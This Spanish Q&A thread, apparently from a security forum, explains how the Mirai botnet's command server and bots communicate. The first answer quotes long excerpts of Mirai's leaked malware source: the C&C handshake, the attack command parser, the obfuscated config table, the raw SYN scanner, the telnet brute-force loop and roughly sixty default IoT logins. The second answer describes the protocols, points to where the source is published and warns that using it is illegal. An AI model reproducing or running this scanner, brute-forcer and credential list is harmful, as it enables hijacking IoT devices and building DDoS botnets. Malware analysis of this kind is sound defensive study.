¿Cómo se comunican los C&C de Mirai con sus robots?

5

Me pregunto cómo funcionan las botnets basadas en Mirai. Específicamente, quiero comprender los mecanismos de comunicación entre los servidores C & C y sus robots. Después de leer esta pregunta he entendido que un bot encuentra un servidor de C & C con una consulta de DNS después de ser infectado.

¿Pero cómo se comunica el servidor de C & C con sus bots? Por ejemplo si quiere que ataquen. ¿Qué protocolos se utilizan aquí? ¿La comunicación está encriptada?

Como programador, me encantaría ver las respuestas con referencia al código fuente de Mirai.

    
pregunta Phonolog 16.02.2017 - 22:21
fuente

2 respuestas

18

Supongo que responderé directamente a tu pregunta ya que mencionaste que entendiste que 'un bot encuentra un servidor C & C con una consulta de DNS después de estar infectado. (Volveré a esta declaración en la parte inferior)

Para responder a su pregunta, tenemos que profundizar en otros lugares, ya que hay muchas partes en el código fuente.

  

1. ¿Cómo se comunica el servidor de C & C con sus robots?

En el código puedes ver varias áreas de comunicación

// Set up CNC sockets
if (fd_serv == -1)
establish_connection();

y

static void establish_connection(void)
{
#ifdef DEBUG
    printf("[main] Attempting to connect to CNC\n");
#endif

C & C se inicializa aquí en esta parte del código.

table_unlock_val(TABLE_CNC_DOMAIN);
entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));
table_lock_val(TABLE_CNC_DOMAIN);

Después de lo cual, cuando Mirai pueda llegar a C & C con éxito. La conectividad a C & C tendrá lugar.

table_unlock_val(TABLE_CNC_PORT);
srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));
table_lock_val(TABLE_CNC_PORT);

Para que Mirai se conecte a la C & C, todo lo que tiene que hacer es enviar 4 bytes a la C & C.

                LOCAL_ADDR = util_local_addr();
                send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
                send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
                if (id_len > 0)
                {
                    send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
                }

Entonces intentará mantener la conexión aquí

if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {
  

2. Por ejemplo, si quiere que ataquen.

Para las máquinas infectadas por Mirai, se configuran en un bucle infinito a la espera de los comandos del servidor C & C.

Cuando se reciben comandos de C & C. Estos códigos son los que invocan la porción de ataque.

void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *);

Que a su vez se ejecutará

void attack_parse(char *buf, int len)
{
    int i;
    uint32_t duration;
ATTACK_VECTOR vector;
uint8_t targs_len, opts_len;
struct attack_target *targs = NULL;
struct attack_option *opts = NULL;

// Read in attack duration uint32_t
if (len < sizeof (uint32_t))
    goto cleanup;
duration = ntohl(*((uint32_t *)buf));
buf += sizeof (uint32_t);
len -= sizeof (uint32_t);

// Read in attack ID uint8_t
if (len == 0)
    goto cleanup;
vector = (ATTACK_VECTOR)*buf++;
len -= sizeof (uint8_t);

// Read in target count uint8_t
if (len == 0)
    goto cleanup;
targs_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
if (targs_len == 0)
    goto cleanup;

// Read in all targs
if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))
    goto cleanup;
targs = calloc(targs_len, sizeof (struct attack_target));
for (i = 0; i < targs_len; i++)
{
    targs[i].addr = *((ipv4_t *)buf);
    buf += sizeof (ipv4_t);
    targs[i].netmask = (uint8_t)*buf++;
    len -= (sizeof (ipv4_t) + sizeof (uint8_t));

    targs[i].sock_addr.sin_family = AF_INET;
    targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;
}

// Read in flag count uint8_t
if (len < sizeof (uint8_t))
    goto cleanup;
opts_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);

// Read in all opts
if (opts_len > 0)
{
    opts = calloc(opts_len, sizeof (struct attack_option));
    for (i = 0; i < opts_len; i++)
    {
        uint8_t val_len;

        // Read in key uint8
        if (len < sizeof (uint8_t))
            goto cleanup;
        opts[i].key = (uint8_t)*buf++;
        len -= sizeof (uint8_t);

        // Read in data length uint8
        if (len < sizeof (uint8_t))
            goto cleanup;
        val_len = (uint8_t)*buf++;
        len -= sizeof (uint8_t);

        if (len < val_len)
            goto cleanup;
        opts[i].val = calloc(val_len + 1, sizeof (char));
        util_memcpy(opts[i].val, buf, val_len);
        buf += val_len;
        len -= val_len;
    }
}

errno = 0;
attack_start(duration, vector, targs_len, targs, opts_len, opts);
  

3. ¿Qué protocolos se utilizan aquí?

La comunicación entre los bots y C & C se realiza a través de protocolos "binarios". El comando de ataques binarios se pasa a la función QueueBuf a continuación y se colocará en una cola de búfer.

func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {
attack := &AttackSend{buf, maxbots, botCata}
this.atkQueue <- attack
}

A partir de entonces, el canal atkQueue recibirá el comando que se establece en el búfer si la unidad bot.

func (this *ClientList) worker() {
rand.Seed(time.Now().UTC().UnixNano())

for {
    select {
    case add := <-this.addQueue:
        this.totalCount <- 1
        this.uid++
        add.uid = this.uid
        this.clients[add.uid] = add
        break
    case del := <-this.delQueue:
        this.totalCount <- -1
        delete(this.clients, del.uid)
        break
    case atk := <-this.atkQueue:
        if atk.count == -1 {
            for _,v := range this.clients {
                if atk.botCata == "" || atk.botCata == v.source {
                    v.QueueBuf(atk.buf)
                }
            }
        } else {
            var count int
            for _, v := range this.clients {
                if count > atk.count {
                    break
                }
                if atk.botCata == "" || atk.botCata == v.source {
                    v.QueueBuf(atk.buf)
                    count++
                }
            }
        }
  

4. ¿La comunicación está encriptada?

Las comunicaciones no están cifradas si está pensando en SSL. Si está conectado a C & C y puede ver el flujo de tráfico, el protocolo de flujo binario junto con los comandos de ataque estarán visibles.

Sin embargo, los comandos, el nombre de host y los puertos están encriptados como se ve en los códigos.

void table_init(void)
{
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
add_entry(TABLE_CNC_PORT, "\x22\x35", 2);   // 23

add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2);         // 48101

Por último, elaborando su declaración 'que un bot encuentra un servidor C & C con una consulta de DNS después de estar infectado.'

El bot busca un nombre de dominio. La razón es que si un C & C necesita un cambio de IP; El bot que busca el nuevo C & C aún podrá encontrarlo. Los nombres de dominio siempre pueden apuntar a diferentes direcciones IP.

  

5. Entonces, ¿cómo apunta Mirai a los dispositivos IOT?

El Mirai original busca dispositivos con busybox instalado. Esta respuesta está dirigida al Mirai original. Como saben, Los códigos fuente de Mirai ahora son públicos y no lo son. Es sorprendente ver las variantes de Mirai en la naturaleza realizando ataques diferentes, si no más sofisticados.

La exploración SYN en el zócalo se realiza y atraviesa varias direcciones IP de destino. Se usa porque es rápido y la capacidad de sondear múltiples puertos

    // Set up raw socket scanning and payload
    if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
    {
    #ifdef DEBUG
        printf("[scanner] Failed to initialize raw socket, cannot scan\n");
    #endif
        exit(0);
    }

Mirai intentará escuchar las respuestas de los objetivos después de la exploración SYN

        if (fake_time != last_spew)
        {
            last_spew = fake_time;

            for (i = 0; i < SCANNER_RAW_PPS; i++)
            {
                struct sockaddr_in paddr = {0};
                struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
                struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

                iph->id = rand_next();
                iph->saddr = LOCAL_ADDR;
                iph->daddr = get_random_ip();
                iph->check = 0;
                iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

                if (i % 10 == 0)
                {
                    tcph->dest = htons(2323);
                }
                else
                {
                    tcph->dest = htons(23);
                }
                tcph->seq = iph->daddr;
                tcph->check = 0;
                tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));

                paddr.sin_family = AF_INET;
                paddr.sin_addr.s_addr = iph->daddr;
                paddr.sin_port = tcph->dest;

                sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
            }
        }

Los objetivos de búsqueda son aleatorios, luego pasarán de nuevo al siguiente sondeo de direcciones IP.

    static ipv4_t get_random_ip(void)
    {
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;
    do
    {
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

    return INET_ADDR(o1,o2,o3,o4);
    }

Mirai luego pasará a la siguiente fase en un típico protocolo de enlace TCP y enviará un paquete ACK para obtener una respuesta del destino y realizar un análisis si un puerto está abierto. Orientación a TCP / 23 y TCP / 2323

    last_avail_conn = 0;
    while (TRUE)
    {
    int n;
    char dgram[1514];
    struct iphdr *iph = (struct iphdr *)dgram;
    struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
    struct scanner_connection *conn;

    errno = 0;
    n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
    if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
        break;

    if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
        continue;
    if (iph->daddr != LOCAL_ADDR)
        continue;
    if (iph->protocol != IPPROTO_TCP)
        continue;
    if (tcph->source != htons(23) && tcph->source != htons(2323))
        continue;
    if (tcph->dest != source_port)
        continue;
    if (!tcph->syn)
        continue;
    if (!tcph->ack)
        continue;
    if (tcph->rst)
        continue;
    if (tcph->fin)
        continue;
    if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
        continue;

    conn = NULL;
    for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
    {
        if (conn_table[n].state == SC_CLOSED)
        {
            conn = &conn_table[n];
            last_avail_conn = n;
            break;
        }
    }

Una vez hecho lo anterior. Luego se establece una sesión TCP entre Mirai y el objetivo.

        FD_ZERO(&fdset_rd);
        FD_ZERO(&fdset_wr);
        for (i = 0; i < SCANNER_MAX_CONNS; i++)
        {
            int timeout;

            conn = &conn_table[i];
            timeout = (conn->state > SC_CONNECTING ? 30 : 5);

            if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
            {
    #ifdef DEBUG
                printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
    #endif
                close(conn->fd);
                conn->fd = -1;

                // Retry
                if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
                {
                    if (++(conn->tries) == 10)
                    {
                        conn->tries = 0;
                        conn->state = SC_CLOSED;
                    }
                    else
                    {
                        setup_connection(conn);
    #ifdef DEBUG
                        printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
    #endif
                    }
                }
                else
                {
                    conn->tries = 0;
                    conn->state = SC_CLOSED;
                }
                continue;
            }

Mirai realizará la enumeración de contraseñas aquí

            if (FD_ISSET(conn->fd, &fdset_rd))
            {
                while (TRUE)
                {
                    int ret;

                    if (conn->state == SC_CLOSED)
                        break;

                    if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
                    {
                        memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
                        conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
                    }
                    errno = 0;
                    ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
                    if (ret == 0)
                    {
    #ifdef DEBUG
                        printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
    #endif
                        errno = ECONNRESET;
                        ret = -1; // Fall through to closing connection below
                    }
                    if (ret == -1)
                    {
                        if (errno != EAGAIN && errno != EWOULDBLOCK)
                        {
    #ifdef DEBUG
                            printf("[scanner] FD%d lost connection\n", conn->fd);
    #endif
                            close(conn->fd);
                            conn->fd = -1;

                            // Retry
                            if (++(conn->tries) >= 10)
                            {
                                conn->tries = 0;
                                conn->state = SC_CLOSED;
                            }
                            else
                            {
                                setup_connection(conn);
    #ifdef DEBUG
                                printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
    #endif
                            }
                        }

e intente iniciar sesión utilizando contraseñas débiles comunes y contraseñas predeterminadas.

    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511
    add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);                  // root     default
     add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);              // root     juantech
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);                      // root     123456
    add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);                          // root     54321
    add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);      // support  support
    add_auth_entry("\x50\x4D\x4D\x56", "", 4);                                              // root     (none)
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);          // admin    password
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4);                              // root     root
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);                          // root     12345
    add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);                              // user     user
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);                                          // admin    (none)
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);                              // root     pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3);      // admin    admin1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3);                              // root     1111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3);          // admin    smcadmin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2);                          // admin    1111
    add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2);                      // root     666666
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2);              // root     password
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2);                              // root     1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1);                      // root     klv123
    add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
    add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1);      // service  service
    add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
    add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1);                      // guest    guest
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1);      // admin1   password
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
    add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1);              // 666666   666666
    add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1);              // 888888   888888
    add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1);                              // ubnt     ubnt
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1);                  // root     klv1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1);                      // root     Zte521
    add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1);                      // root     hi3518
    add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1);                          // root     jvbzd
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4);                              // root     anko
    add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1);                          // root     zlxx.
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root     7ujMko0vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root     7ujMko0admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1);                      // root     system
    add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1);                              // root     ikwb
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1);              // root     dreambox
    add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1);                              // root     user
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1);                  // root     realtek
    add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1);              // root     00000000
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1);              // admin    1111111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1);                      // admin    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1);                      // admin    54321
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1);                  // admin    123456
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin    7ujMko0admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1);                          // admin    pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1);                  // admin    meinsm
    add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1);                              // tech     tech
    add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1);              // mother   f**ker

Las comunicaciones no están cifradas si está pensando en SSL. Si está conectado a C & C y puede ver el flujo de tráfico, el protocolo de flujo binario junto con los comandos de ataque estarán visibles.

Con respecto a los datos binarios Los datos binarios no son realmente un nuevo tipo de comunicación de nivel 4. Básicamente, enviar y recibir datos binarios es más sobre el inicio y el final. ¿Cómo iniciar el envío e interpretar en el punto final. De nuevo como se dice en los comentarios; Las tuberías y las tomas comunican datos binarios de la misma forma que los datos de texto.

Algunos enlaces para su referencia

Artículo de Mozilla sobre envío y lectura de datos binarios

Guía de matriz de tipos

    
respondido por el Lester T. 20.02.2017 - 20:04
fuente
0

Bueno:

Según mi pequeño conocimiento:

  

Pero, ¿cómo se comunica el servidor de C & C con sus robots?

Bueno, hay muchas formas para que una botnet se comunique con C & C: IRC (como lo indica Farhan .K , HTTP, etc ... La mayoría de las veces el bot se conecta a un DNS para obtener pedidos fáciles. (No es difícil crear su propio servidor http que responda a pocas palabras, por ejemplo, "ataque victim ", en cada solicitud). Otras veces, conectamos P2P, por lo que cada bot se conecta entre sí y los comandos enviados por el botmaster se hacen con cifrado (lea más AQUÍ ).

En nuestro caso actual, el malware Mirai está preconfigurado con un tipo de dirección que se resuelve mediante una única consulta de DNS para conectarse con el servidor C & C preparado. Una vez que el dispositivo IoT infectado "memoriza" la IP (puede ser modificada por el botnet master) recibe una secuencia de binnary con las órdenes / comandos.

  

¿Qué protocolos se utilizan aquí?

Hay muchos protocolos para usar, HTTP con cualquier tipo de respuesta, IRC, P2P, ... y probablemente algunos otros que ni siquiera podemos imaginar.

En el caso del malware Mirai, parece que usan los siguientes protocolos:

  • Telnet para acceder a los dispositivos IoT vulnerables.
  • Consulta de DNS para resolver la dirección del servidor C & C.
  • Secuencia binaria sin cifrar para recibir pedidos del servidor C & C.
  • TCP STOMP: para enviar las solicitudes de inundación.

Pero (probablemente) sería fácil reconfigurar el malware Mirai para usar otro tipo de protocolo de comunicación con el servidor.

  

¿La comunicación está encriptada?

En el caso de la botnet Mirai, las comunicaciones no están cifradas.

En otras botnets: la mayoría de las veces no es necesario, pero en el caso de las botnets P2P, pero muy recomendable.

  

Como programador, me encantaría ver las respuestas con referencia a la fuente   código

No compartiría el código fuente de una herramienta tan peligrosa en una red, pero esta vez es fácil encontrar lo que estás buscando.

Alguien llamado Anna-Senpai se supone que es el responsable de algunos ataques, y tal vez el famoso MIRAI malware; publicado lo que se supone que es el código fuente MIRAI .

Según lo publicado por el compañero en los comentarios, puede encontrarlo aquí:

Código fuente Mirai

También aquí puede encontrar otra información útil:

Como último, mi último consejo: recuerde que usar este tipo de herramientas es un delito, y nunca debe usarlo para su propio beneficio.

    
respondido por el KanekiDev 20.02.2017 - 17:26
fuente

Lea otras preguntas en las etiquetas